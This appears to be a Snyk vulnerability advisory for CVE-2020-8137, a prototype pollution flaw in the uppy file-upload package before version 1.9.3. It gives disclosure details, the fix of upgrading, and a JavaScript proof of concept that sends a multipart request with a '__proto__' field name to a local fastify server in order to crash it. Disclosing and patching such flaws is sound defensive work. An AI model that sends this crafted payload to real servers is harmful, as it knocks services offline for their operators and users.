Prototype Pollution Affecting uppy package, versions <1.9.3
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Test your applications- Snyk IDSNYK-JS-UPPY-559068
- published28 Feb 2020
- disclosed28 Feb 2020
- creditEran Hammer, Matteo Collin
Introduced: 28 Feb 2020
CVE-2020-8137 (opens in a new tab)How to fix?
Upgrade uppy to version 1.9.3 or higher.
Overview
uppy is a sleek, modular JavaScript file uploader that integrates seamlessly with any application.
Affected versions of this package are vulnerable to Prototype Pollution. It is possible to crash a remote server parsing multipart requests by sending a specially crafted request
PoC
const http = require('http')
const fastify = require('fastify')()
const options = {
addToBody: true,
onFile: (fieldName, stream, filename, encoding, mimetype, body) => {
stream.resume();
}
};
fastify.register(require('fastify-multipart'), options);
fastify.post('/', function (req, reply) {
console.log(req.body.toString());
reply.code(200).send();
});
fastify.listen(3000, () => {
console.log(`server listening on ${fastify.server.address().port}`)
const body =
'--AaB03x\r\n' +
'content-disposition: form-data; name="__proto__"; filename="file1.txt"\r\n' +
'Content-Type: text/plain\r\n' +
'\r\n' +
'... contents of file1.txt ...\r\r\n' +
'--AaB03x--\r\n';
const r = {
hostname: 'localhost',
port: 3000,
path: '/',
method: 'POST',
headers: {
'content-type': 'multipart/form-data; boundary=AaB03x'
}
};
const req = http.request(r, (res) => { });
req.write(body);
req.end();
});